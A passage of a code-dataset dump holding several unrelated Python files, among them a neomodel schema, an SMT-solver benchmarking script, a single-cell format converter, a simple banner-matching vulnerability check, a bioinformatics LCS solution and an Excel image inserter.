{"api_name": "sys.stderr.write", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pysam.FastaFile", "line_number": 25, "usage_type": "call"}, {"api_name": "pysam.VariantFile", "line_number": 28, "usage_type": "call"}, {"api_name": "ngb_functions.vcfHeaderCheck", "line_number": 31, "usage_type": "call"}, {"api_name": "pysam.VariantFile", "line_number": 35, "usage_type": "call"}, {"api_name": "ngb_functions.pairdiff", "line_number": 49, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 71, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 71, "usage_type": "attribute"}, {"api_name": "optparse.OptionParser", "line_number": 76, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 85, "usage_type": "call"}]} +{"seq_id": "139483140", "text": "from neomodel import (\n StructuredNode, \n StructuredRel, \n StringProperty, \n UniqueIdProperty, \n DateTimeProperty,\n BooleanProperty,\n Relationship,\n RelationshipTo,\n One,\n OneOrMore\n)\nfrom datetime import datetime\n\nclass ScheduleItemPresenter(StructuredRel):\n addedOn = DateTimeProperty(default_now=True)\n rating = StringProperty(\n choices={\n '0':'Extremely Bad',\n '1':'Very Bad',\n '2':'Bad',\n '3':'Okay',\n '4':'Good',\n '4':'Very Good',\n '5':'Extremely Good'\n }\n )\n wasLate= BooleanProperty()\n updatedOn = DateTimeProperty()\n def pre_save(self):\n self.updatedOn = datetime.utcnow()\n\nclass ScheduleItemCategory(StructuredRel):\n addedOn = DateTimeProperty(default_now=True)\n\nclass ScheduleItemText(StructuredRel):\n addedOn = DateTimeProperty(default_now=True)\n\nclass ScheduleItem(StructuredNode):\n nodeId = UniqueIdProperty()\n title = StringProperty(required=True, unique_index=True)\n addedOn = DateTimeProperty(default_now=True)\n updatedOn = DateTimeProperty()\n itemTime = DateTimeProperty(required=True)\n presenters = RelationshipTo(\n '.presenter_model.Presenter',\n 'PRESENTER',\n model=ScheduleItemPresenter,\n cardinality=OneOrMore\n )\n categories = Relationship(\n '.category_model.Category', \n 'CATEGORY',\n model=ScheduleItemCategory\n )\n excerpt = RelationshipTo(\n '.text_model.Text',\n 'EXCERPT',\n model=ScheduleItemText,\n cardinality=One\n )\n \n \n def pre_save(self) -> None:\n self.updatedOn = datetime.utcnow()\n \n \n", "sub_path": "app/src/models/item_model.py", "file_name": "item_model.py", "file_ext": "py", "file_size_in_byte": 1739, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "neomodel.StructuredRel", "line_number": 15, "usage_type": "name"}, {"api_name": "neomodel.DateTimeProperty", "line_number": 16, "usage_type": "call"}, {"api_name": "neomodel.StringProperty", "line_number": 17, "usage_type": "call"}, {"api_name": "neomodel.BooleanProperty", "line_number": 28, "usage_type": "call"}, {"api_name": "neomodel.DateTimeProperty", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "name"}, {"api_name": "neomodel.StructuredRel", "line_number": 33, "usage_type": "name"}, {"api_name": "neomodel.DateTimeProperty", "line_number": 34, "usage_type": "call"}, {"api_name": "neomodel.StructuredRel", "line_number": 36, "usage_type": "name"}, {"api_name": "neomodel.DateTimeProperty", "line_number": 37, "usage_type": "call"}, {"api_name": "neomodel.StructuredNode", "line_number": 39, "usage_type": "name"}, {"api_name": "neomodel.UniqueIdProperty", "line_number": 40, "usage_type": "call"}, {"api_name": "neomodel.StringProperty", "line_number": 41, "usage_type": "call"}, {"api_name": "neomodel.DateTimeProperty", "line_number": 42, "usage_type": "call"}, {"api_name": "neomodel.DateTimeProperty", "line_number": 43, "usage_type": "call"}, {"api_name": "neomodel.DateTimeProperty", "line_number": 44, "usage_type": "call"}, {"api_name": "neomodel.RelationshipTo", "line_number": 45, "usage_type": "call"}, {"api_name": "neomodel.OneOrMore", "line_number": 49, "usage_type": "name"}, {"api_name": "neomodel.Relationship", "line_number": 51, "usage_type": "call"}, {"api_name": "neomodel.RelationshipTo", "line_number": 56, "usage_type": "call"}, {"api_name": "neomodel.One", "line_number": 60, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 65, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 65, "usage_type": "name"}]} +{"seq_id": "525041082", "text": "import os\nimport re\nimport time\nimport datetime\nimport argparse\nimport threading\nimport multiprocessing as mp\n\n\nglobal localtime\nlocaltime = '%d%d%d' %(datetime.datetime.now().year, datetime.datetime.now().month, datetime.datetime.now().day)\n\ndef get_bounded_num(root_path = './smt_RQ2'):\n bounded_dict = {}\n for f in os.listdir(root_path):\n abs_path = os.path.join(root_path, f)\n if os.path.isdir(abs_path):\n for temp in os.listdir(abs_path):\n if temp.endswith('.i') & os.path.isdir(os.path.join(abs_path,temp)):\n count = 0\n temp_path = os.path.join(abs_path, temp)\n for k in os.listdir(temp_path):\n if k.endswith('.smt'):\n count = count + 1\n bounded_dict[temp] = count\n else:\n print(\"%s is not a dir\" %(temp))\n return bounded_dict\n\n\n\ndef get_all_i_files(path='./benchmarks'):\n ans = set()\n for f in os.listdir(path):\n abs_path = os.path.join(path, f)\n if os.path.isdir(abs_path):\n ans = ans.union(get_all_i_files(abs_path))\n elif abs_path.endswith('.i'):\n ans.add(abs_path)\n return ans\n\n\n\ndef check(out_dir, file, bounded_dict):\n file_name = os.path.split(file)[-1]\n bound = bounded_dict.get(file_name)\n if bound is None:\n return\n \n def run_command(cmd, out_dir, file_name, i, outName):\n begin_time = time.time()\n state = os.system(cmd)\n duration = time.time()- begin_time\n out_stream = open(\"%s/%s_bound%d_%s.out\" %(out_dir, file_name, i, outName), 'a')\n out_stream.write('State: {0} Run_time: {1}'.format('AC' if state==0 else ('TO' if state==31744 else 'RE'),duration))\n out_stream.close()\n return state\n\n for i in range(1, bound+1):\n\n print(\"%s : z3-pre-bound%d\" %(file, i))\n temp_file = file.replace('benchmarks', 'smt_RQ2')\n temp_file = os.path.join(temp_file, 'bound%d.smt' %i)\n cmd = '{ time timeout 1800 ./z3-pre --smt2 -st %s > %s/%s_bound%d_z3-pre.out; } 2>> %s/%s_bound%d_z3-pre.out' %(\n temp_file, out_dir, file_name, i, out_dir, file_name, i)\n if os.path.exists('%s/%s_bound%d_z3-pre.out' %(out_dir, file_name, i)) == False:\n state = run_command(cmd, out_dir, file_name, i, 'z3-pre')\n\n print(\"%s : boolector-%d\" %(file, i))\n temp_file = file.replace('benchmarks', 'smt_RQ2')\n temp_file = os.path.join(temp_file, 'bound%d.smt' %i)\n cmd = '{ time timeout 1800 ./boolector --smt2 %s -m > %s/%s_bound%d_boolector.out; } 2>> %s/%s_bound%d_boolector.out' %(\n temp_file, out_dir, file_name, i, out_dir, file_name, i)\n if os.path.exists('%s/%s_bound%d_boolector.out' %(out_dir, file_name, i)) == False:\n state = run_command(cmd, out_dir, file_name, i, 'boolector')\n\n print(\"%s : cvc4-%d\" %(file, i))\n temp_file = file.replace('benchmarks', 'smt_RQ2')\n temp_file = os.path.join(temp_file, 'bound%d.smt' %i)\n cmd = '{ time timeout 1800 ./cvc4 -L smt2 %s > %s/%s_bound%d_cvc4.out; } 2>> %s/%s_bound%d_cvc4.out' %(\n temp_file, out_dir, file_name, i, out_dir, file_name, i)\n if os.path.exists('%s/%s_bound%d_cvc4.out' %(out_dir, file_name, i)) == False:\n state = run_command(cmd, out_dir, file_name, i, 'cvc4')\n \n print('finished!')\n\n\ndef get_sat_info(file_name):\n with open(file_name, 'r') as reader:\n text = reader.read()\n if 'unsat' in text:\n return 'True'\n elif 'sat' in text:\n return 'False'\n elif 'VERIFICATION SUCCESSFUL' in text:\n return 'TRUE'\n elif 'VERIFICATION FAILED' in text:\n return 'FALSE'\n elif 'State: AC' in text:\n return 'Unknown_AC'\n elif 'State: RE' in text:\n return 'Unknown_RE'\n elif 'State TO' in text:\n return 'Unknown_TO'\n else:\n return 'Error'\n\n\ndef get_cost_time(file_name):\n with open(file_name, 'r') as reader:\n text = reader.read()\n num = re.findall(r'user\\t\\d*m\\d+\\.?\\d*s',text)\n if len(num) == 0:\n return 0\n times = str(num).split('\\\\t')[1].split('m')\n miniute=times[0]\n seconds=times[1].split('s')[0]\n time = float(miniute) *60 + float(seconds)\n return time\n\n\ndef create_dir_if_not_exist(dest):\n dests = dest.split('/')\n root = ''\n for i in dests:\n root += i + '/'\n if not os.path.exists(root):\n os.mkdir(root)\n\ndef get_result_all(front_binaries):\n root_path = './result_RQ2_all'\n for binary in front_binaries:\n file_index = 0\n if os.path.exists('./result-%s.csv' % binary):\n continue\n result_file = open('./result-%s.csv' %binary, 'a')\n result_file.write(','+'file_index')\n result_file.write(','+'file_name')\n result_file.write(','+'Result')\n result_file.write(','+'Time')\n result_file.write('\\n')\n\n sub_dics = []\n for s in os.listdir(root_path):\n sub_dics.append(s)\n sub_dics.sort()\n\n for f in sub_dics:\n file_index = 0\n abs_path = os.path.join(root_path, f)\n\n path_names = []\n for temp in os.listdir(abs_path):\n path_names.append(temp)\n path_names.sort()\n\n for temp in path_names:\n temp_path = os.path.join(abs_path, temp)\n if ('_%s.out' % binary) in temp_path:\n file_index += 1\n sat_info = get_sat_info(temp_path)\n cost_time = get_cost_time(temp_path)\n if file_index == 1:\n result_file.write(os.path.split(abs_path)[-1])\n result_file.write(','+str(file_index)+',')\n result_file.write(str(os.path.split(temp_path)[-1])+',')\n result_file.write(sat_info+',')\n result_file.write(str(cost_time)+',')\n result_file.write('\\n')\n result_file.flush()\n result_file.write('\\n\\n')\n result_file.flush()\n result_file.close()\n\n\nif __name__ == \"__main__\":\n parse = argparse.ArgumentParser('cmd options')\n parse.add_argument('--benchmark-path', required=True, type=str)\n args = parse.parse_args()\n\n print(\"Start Processing %s:\" %(args.benchmark_path))\n bounded_dict = get_bounded_num()\n files = get_all_i_files(args.benchmark_path)\n\n src = args.benchmark_path\n out_dir = src.replace('benchmarks', 'result_RQ2_all') \n create_dir_if_not_exist(out_dir)\n def pcheck(file):\n return check(out_dir, file, bounded_dict)\n \n pool = mp.Pool(processes=4)\n result = pool.map(func=pcheck, iterable=files)\n pool.close()\n pool.join()\n print(\"Congratulations! Check Procedure finished\")\n\n front_binaries = ['cvc4', 'boolector', 'z3-pre']\n get_result_all(front_binaries)\n print(\"Generate csv file Finished!\")\n", "sub_path": "RQ2/call-solver.py", "file_name": "call-solver.py", "file_ext": "py", "file_size_in_byte": 7125, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "datetime.datetime.now", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 22, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 51, "usage_type": "call"}, {"api_name": "os.system", "line_number": 52, "usage_type": "call"}, {"api_name": "time.time", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 112, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path", "line_number": 150, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path", "line_number": 158, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 164, "usage_type": "call"}, {"api_name": "os.path", "line_number": 164, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path", "line_number": 166, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 177, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 191, "usage_type": "call"}]} +{"seq_id": "627375475", "text": "#!/usr/bin/python\n\n\"\"\"\nProgram: converter.py\nAuthor: Andrew Blair\nEmail: andrew.blair@gladstone.ucsf.edu\n\nDescription: Cross compatible single cell object converter for Seurat version 3.1.2, Scanpy version 1.4.4, and SingleCellExperiment (sce) version 1.8.0. The first and second arguments must be the absolute paths for the input and desired output file type.\n\nExample:\n\n# Seurat to Scanpy\npython3 converter.py --input_seurat --output_scanpy \n\n# Scanpy to Seurat\npython3 converter.py --input_scanpy --output_seurat \n\n# Seurat to SingleCellExperiment\npython3 converter.py --input_seurat --output_sce \n\n# SingleCellExperiment to Seurat\npython3 converter.py --input_sce --output_seurat \n\n# SingleCellExperiment to Scanpy\npython3 converer.py --input_sce --output_scanpy \n\n\nNotes:\n* This script is the primary interface for the single cell file object converter but relies on utils/converter.R, which users can run independently. \n* Using subprocess module because sourcing Seurat using rpy2 causes segmentation fault.\n\"\"\"\n\nimport os\nimport argparse\nimport subprocess\nimport pandas as pd\nimport scanpy as sc\nimport anndata2ri\nimport rpy2.robjects as robjects\nanndata2ri.activate()\n\ndef scanpy_to_seurat(input_scanpy, output_seurat):\n '''\n Convert a Seurat object to a Scanpy object\n \n :param input_scanpy: str, Scanpy object file path\n :param output_seurat: str, Seurat object file path\n return: None\n '''\n subprocess.call('Rscript utils/converter.R --scanpy_to_seurat ' + input_scanpy + ' ' + output_seurat, shell=True)\n\ndef seurat_to_sce(input_seurat, output_sce, meta_export='no'):\n '''\n Convert a Seurat object to a SingleCellExperiment object\n \n :param input_seurat: str, Seurat object file path\n :param output_sce: str, SingleCellExperiment object file path\n return: None\n '''\n subprocess.call('Rscript utils/converter.R --seurat_to_sce ' + input_seurat + ' ' + output_sce + ' --meta ' + meta_export, shell=True)\n\ndef seurat_to_scanpy(input_seurat, output_scanpy):\n '''\n Convert a Seurat object to a Scanpy object\n \n :param input_seurat: str, Seurat object file path\n :param output_scanpy: str, SingleCellExperiment object file path\n return: None\n '''\n seurat_to_sce(input_seurat, 'sce.rds', meta_export='yes')\n meta_df = pd.read_csv('meta.csv')\n os.remove('meta.csv')\n sce_to_scanpy('sce.rds', output_scanpy, meta_df = meta_df, remove_sce=True)\n \ndef sce_to_scanpy(input_sce, output_scanpy, meta_df=None, remove_sce=False):\n '''\n Convert a SingleCellExperiment object to a Scanpy object\n \n :param input_sce: str, SingleCellExperiment object file path\n :param output_scanpy: str, Scanpy object file path\n return: None\n '''\n readRDS = robjects.r['readRDS']\n adata = readRDS(input_sce)\n if remove_sce:\n os.remove('sce.rds')\n if not meta_df.empty:\n meta_df = meta_df.set_index('Unnamed: 0')\n meta_df.index.name = 'index'\n adata.obs = meta_df\n adata.write(output_scanpy)\n\ndef main(input_scanpy, input_seurat, input_sce, output_scanpy, output_seurat, output_sce):\n '''\n Convert single cell object file type\n \n return: None\n '''\n # Scanpy to Seurat\n if None not in [input_scanpy, output_seurat]:\n scanpy_to_seurat(input_scanpy, output_seurat)\n \n # Seurat to Scanpy\n if None not in [input_seurat, output_scanpy]:\n seurat_to_scanpy(input_seurat, output_scanpy)\n \n # Seurat to SingleCellExperiment\n if None not in [input_seurat, output_sce]:\n seurat_to_sce(input_seurat, output_sce)\n \n # SingleCellExperiment to Seurat\n if None not in [input_sce, output_seurat]:\n sce_to_seurat(input_sce, output_seurat)\n \n # SingleCellExperiment to Scanpy\n if None not in [input_sce, output_scanpy]:\n sce_to_scanpy(input_sce, output_scanpy)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Convert a single cell file format.')\n \n # Inputs\n parser.add_argument('--input_scanpy', metavar='path', required=False,\n help='Input Scanpy object file path.')\n parser.add_argument('--input_seurat', metavar='path', required=False,\n help='Input Seurat object file path.')\n parser.add_argument('--input_sce', metavar='path', required=False,\n help='Input SingleCellExperiment object file path.')\n \n # Output\n parser.add_argument('--output_scanpy', metavar='path', required=False,\n help='Desired output object file path.')\n parser.add_argument('--output_seurat', metavar='path', required=False,\n help='Desired output object file path.')\n parser.add_argument('--output_sce', metavar='path', required=False,\n help='Desired output object file path.')\n \n args = parser.parse_args()\n main(input_scanpy=args.input_scanpy, input_seurat=args.input_seurat, input_sce=args.input_sce, output_scanpy=args.output_scanpy, output_seurat=args.output_seurat, output_sce=args.output_sce)", "sub_path": "converter.py", "file_name": "converter.py", "file_ext": "py", "file_size_in_byte": 5241, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "anndata2ri.activate", "line_number": 40, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 50, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 60, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 71, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 72, "usage_type": "call"}, {"api_name": "rpy2.robjects.r", "line_number": 83, "usage_type": "attribute"}, {"api_name": "rpy2.robjects", "line_number": 83, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 86, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 120, "usage_type": "call"}]} +{"seq_id": "241292610", "text": "import portScanner\nfrom colorama import Fore\n\ntargets_ip = input(Fore.BLUE + '[*] Ingrese el objetivo para analizar vulnerabilidades en puertos abiertos: ')\nport_number = int(input('[*] Ingrese la cantidad de puertos a escanear (ej: 100 - primeros 100 puertos): '))\nvuln_file= input('[*] Ingrese la ruta de la base de datos de los servicios vulnerables: ')\n\ntarget = portScanner.PortScan(targets_ip,port_number)\ntarget.scan()\n\nwith open(vuln_file, 'r') as file:\n count = 0\n for banner in target.banners:\n file.seek(0)\n for line in file.readlines():\n if line.strip() in banner:\n print('\\n'+Fore.RED + \"[!] Servicio Vulnerable - \" + banner + \" - corriendo en el puerto: \" + str(target.open_ports[count])+'\\n')\n count += 1\n\n", "sub_path": "vulnerabilityScanner.py", "file_name": "vulnerabilityScanner.py", "file_ext": "py", "file_size_in_byte": 774, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "colorama.Fore.BLUE", "line_number": 4, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 4, "usage_type": "name"}, {"api_name": "portScanner.PortScan", "line_number": 8, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 17, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 17, "usage_type": "name"}]} +{"seq_id": "401735168", "text": "# coding:utf8\nimport re,linecache,operator\n# 对规则文件中的每一个id，分别查找其作为左侧规则和右侧规则的置信度最高的前三个规则，然后输出\n\nfr=open('..\\\\..\\\\data\\\\2016.05.02\\\\Cust_target2\\\\Add_Stopwords\\\\rules2.csv')\nunique_id=[] # 存储不重复的 id\nfor line in fr:\n ele=line.replace(' ','').split(',')\n items=re.search(r\"\\'(.*?)\\'-->\\'(.*?)\\'\",ele[0],re.S)\n left = items.group(1)\n right = items.group(2)\n\n if left not in unique_id:\n unique_id.append(left)\n if right not in unique_id:\n unique_id.append(right)\nfr.close()\n\nlines=linecache.getlines('..\\\\..\\\\data\\\\2016.05.02\\\\Cust_target2\\\\Add_Stopwords\\\\rules2.csv')\noutline=[]# 记录输出行号\nfor id in unique_id:\n lrule={}\n rrule={}\n for i in range(0,lines.__len__()):\n ele=lines[i].replace(' ','').split(',')\n items=re.search(r\"\\'(.*?)\\'-->\\'(.*?)\\'\",ele[0],re.S)\n left = items.group(1)\n right = items.group(2)\n if left==id:\n lrule[i]=ele[1]\n if right==id:\n rrule[i]=ele[1]\n\n lrule=sorted(lrule.iteritems(), key=operator.itemgetter(1), reverse=True)\n rrule=sorted(rrule.iteritems(), key=operator.itemgetter(1), reverse=True)\n m=0\n for item in lrule:\n m+=1\n k=str(item).split(',')[0].lstrip('(')\n if k not in outline:\n outline.append(k)\n if m==1: # 至多取置信度最高的前3个规则\n break\n m=0\n for item in rrule:\n m+=1\n k=str(item).split(',')[0].lstrip('(')\n if k not in outline:\n outline.append(k)\n if m==1: # 至多取置信度最高的前3个规则\n break\n\nfw=open('..\\\\..\\\\data\\\\2016.05.02\\\\Cust_target2\\\\Add_Stopwords\\\\rules2_extract1.csv','w')\nfor id in outline:\n fw.write(lines[int(id)])", "sub_path": "2016.05.02_ExcludeConsignmentAR/5. KeepEveryL1.py", "file_name": "5. KeepEveryL1.py", "file_ext": "py", "file_size_in_byte": 1838, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "re.search", "line_number": 9, "usage_type": "call"}, {"api_name": "re.S", "line_number": 9, "usage_type": "attribute"}, {"api_name": "linecache.getlines", "line_number": 19, "usage_type": "call"}, {"api_name": "re.search", "line_number": 26, "usage_type": "call"}, {"api_name": "re.S", "line_number": 26, "usage_type": "attribute"}, {"api_name": "operator.itemgetter", "line_number": 34, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 35, "usage_type": "call"}]} +{"seq_id": "526795680", "text": "import os, bs4, requests, re, pickle, time, tqdm\r\nimport pandas as pd\r\nfrom word_processing import clean_words\r\nfrom collections import OrderedDict\r\n\r\ntry:\r\n pth = 'C:/Users/Tim/Documents/MA3831 Data'\r\n os.chdir(pth)\r\nexcept Exception:\r\n pth = 'C:/Users/timco/Documents/MA3831 Data'\r\n os.chdir(pth)\r\n \r\ndef add_genre_columns(df):\r\n #get unique genres in list\r\n genres = list(df['genre'].unique())\r\n genres = ', '.join(genres).lower().strip()\r\n genres = genres.split(', ')\r\n genres = list(filter(None, genres))\r\n genres = list(OrderedDict.fromkeys(genres))\r\n genres = sorted(genres)\r\n \r\n\r\n #add column for each genre\r\n for g in genres:\r\n df[g] = 0\r\n \r\n df_genres = list(df['genre'])\r\n for i in tqdm.tqdm(range(len(df_genres))):\r\n g = df_genres[i].lower().split(', ')\r\n for k in genres:\r\n if k in g:\r\n #1,0 labels for each genre\r\n df.loc[i,k] = 1 \r\n return df\r\n \r\n \r\ndf1 = pickle.load(open(\"plot_df.p\",\"rb\"))\r\ndf2 = pickle.load(open(\"review_df.p\",\"rb\"))\r\ndf1 = df1.reset_index(drop=True)\r\ndf2 = df2.reset_index(drop=True)\r\n\r\ndf1 = add_genre_columns(df1)\r\ndf2 = add_genre_columns(df2)\r\n\r\npickle.dump(df1,open('plot_df2.p', \"wb\" ))\r\npickle.dump(df2,open('review_df2.p', \"wb\" ))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "sub_path": "generate_labels.py", "file_name": "generate_labels.py", "file_ext": "py", "file_size_in_byte": 1333, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.chdir", "line_number": 8, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 11, "usage_type": "call"}, {"api_name": "collections.OrderedDict.fromkeys", "line_number": 19, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 19, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 28, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 37, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 38, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 45, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "423680642", "text": "import numpy as np\nfrom Bio import SeqIO\nfrom itertools import product\n\n# this is basically the longest common subsequence problem:\n# |LCS| of 2 sequences is the maximum number of aligned symbols\n# the rest will be gaps in both sequences\n# so, answer is |seq1| + |seq2| - 2*|LCS(seq1, seq2)|\n\ndef mgap(s1: str, s2:str) -> int:\n m = len(s1)\n n = len(s2)\n tab = np.zeros(shape=(m+1, n+1), dtype=int)\n for i, j in product(range(1, m+1), range(1, n+1)):\n if (s1[i-1] == s2[j-1]):\n tab[i, j] = tab[i-1, j-1] +1\n else:\n tab[i, j] = max([\n tab[i-1, j],\n tab[i, j-1]\n ])\n\n return n + m - 2*tab[m, n]\n\ndef main():\n seq1, seq2 = (item.seq for item in SeqIO.parse(\"rosalind_mgap.txt\", \"fasta\"))\n \n with open(\"out.txt\", \"w\") as o:\n print(mgap(seq1, seq2), sep='\\n', file=o) \n\nif __name__ == \"__main__\":\n main()", "sub_path": "Bioinformatics Stronghold/76_mgap.py", "file_name": "76_mgap.py", "file_ext": "py", "file_size_in_byte": 912, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.zeros", "line_number": 13, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 14, "usage_type": "call"}, {"api_name": "Bio.SeqIO.parse", "line_number": 26, "usage_type": "call"}, {"api_name": "Bio.SeqIO", "line_number": 26, "usage_type": "name"}]} +{"seq_id": "123177766", "text": "# -*- coding:utf-8 -*-\nfrom openpyxl.drawing.image import Image\n\n'''\n 엑셀 파일 이름을 넘기면, 이미지를 폴더에서 찾은 다음, \n'''\nFIXED_SIZE = (515.527559055, 335.622047244)\n\n\ndef insertinexcel(img_name, column, row, sheet):\n try:\n print(img_name)\n img = Image(img_name)\n except FileNotFoundError:\n return '[에러 3] 사진을 찾을 수 없습니다.'\n else:\n img.width, img.height = FIXED_SIZE\n sheet.add_image(img, column + str(row))\n return '[완료] ' + str(column) + str(row) + '에 사진을 넣었습니다.'", "sub_path": "image/insert.py", "file_name": "insert.py", "file_ext": "py", "file_size_in_byte": 592, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "openpyxl.drawing.image.Image", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "619529524", "text": "import os.path,shutil\nimport datetime,os\nfrom shutil import move\nimport fnmatch\nimport time\nimport win32com.client\nfrom zipfile import ZipFile, ZIP_DEFLATED\nimport fileinput\nfrom contextlib import closing\n\nnow = str(datetime.date.today())\n#now=\"2017-09-11\"\ncur_wrk_dir=os.getcwd()+\"\\\\\"\ncorrupted_files=[]\nzip_dir=''\n\n#search_dir=\"\\\\\\\\vrisi01\\\\users$\\\\bvasudeva1\\\\Windows\\\\Desktop\\\\Walz\\\\\";\nsearch_dir=\"\\\\\\\\Chec.local\\\\dfs\\\\vrapscont_archive\\\\FTP\\\\LoanDocuments\\\\WALZ\\\\Failed\\\\\"\n\n#duplicates_dstn=\"\\\\\\\\vrisi01\\\\users$\\\\bvasudeva1\\\\Windows\\\\Desktop\\\\Walz\\\\Duplicates\\\\\"\nduplicates_dstn=\"\\\\\\\\Chec.local\\\\dfs\\\\vrapscont_archive\\\\FTP\\\\LoanDocuments\\\\WALZ\\\\Failed\\\\Duplicates\"\n\nwalz_dir=\"\\\\\\\\vrisi01\\\\users$\\\\bvasudeva1\\\\Windows\\\\Desktop\\\\winpput\\\\\"\n#walz_dir=\"\\\\\\\\vrisi01\\\\shared$\\\\rshare\\\\checit\\\\imaging\\WALZ\\\\\"\n\n#Archive Paths\ncorrupt_archive_path=cur_wrk_dir+\"\\\\Archives\\\\Walz\\\\Corrupted\\\\\"+str(now)+\"\\\\\"\npipe_delimiter_archive_path=cur_wrk_dir+\"\\\\Archives\\\\Walz\\\\Pipe Delimited\\\\\"+str(now)+\"\\\\\"\nduplicates_archive_path=cur_wrk_dir+\"\\\\Archives\\\\Walz\\\\Duplicates\\\\\"+str(now)+\"\\\\\"\n\ndef file_exists_error(search_dir,filename):\n\tglobal dstn_input\n\tsrc=search_dir+filename\n\tdstn=duplicates_dstn+filename\n\tshutil.copy(src,duplicates_archive_path)\n\tmove(src,dstn)\n\ndef pipeline_rezip_folder(basedir, archivename):\n assert os.path.isdir(basedir)\n 